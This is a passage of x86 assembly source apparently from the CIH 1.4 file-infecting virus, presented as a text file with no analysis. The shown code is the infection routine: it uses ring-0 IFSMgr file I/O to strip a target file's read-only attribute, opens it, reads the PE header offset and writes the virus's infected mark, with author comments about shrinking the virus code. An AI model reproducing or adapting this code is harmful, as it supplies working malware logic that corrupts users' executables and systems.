?? cih1.4.txt
字號:
mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h
jc DisableOnBusy
push ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]
; *************************************
; * Is Read-Only File !? *
; *************************************
test cl, 01h
jz OpenFile
; *************************************
; * Modify Read-Only File to Write *
; *************************************
mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Open File *
; *************************************
OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO
xchg ebx, eax ; mov ebx, FileHandle
; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK
; *************************************
; * Restore Attributes of the File *
; *************************************
mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Is Open File OK !? *
; *************************************
IsOpenFileOK:
popf
jc DisableOnBusy
; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************
push esi ; Push FileNameBuffer Address to Stack
pushf ; Now CF = 0, Push Flag to Stack
add esi, DataBuffer-@7 ; mov esi, offset DataBuffer
; ***************************
; * Get OffsetToNewHeader *
; ***************************
xor eax, eax
mov ah, 0d6h
; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax
push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************
push ebx ; Save File Handle
push 00h ; Set VirusCodeSectionTableEndMark
; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************
push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer
; ***************************
; * Save ESP Register *
; ***************************
mov dr1, esp
; ***************************
; * Let's Set the *
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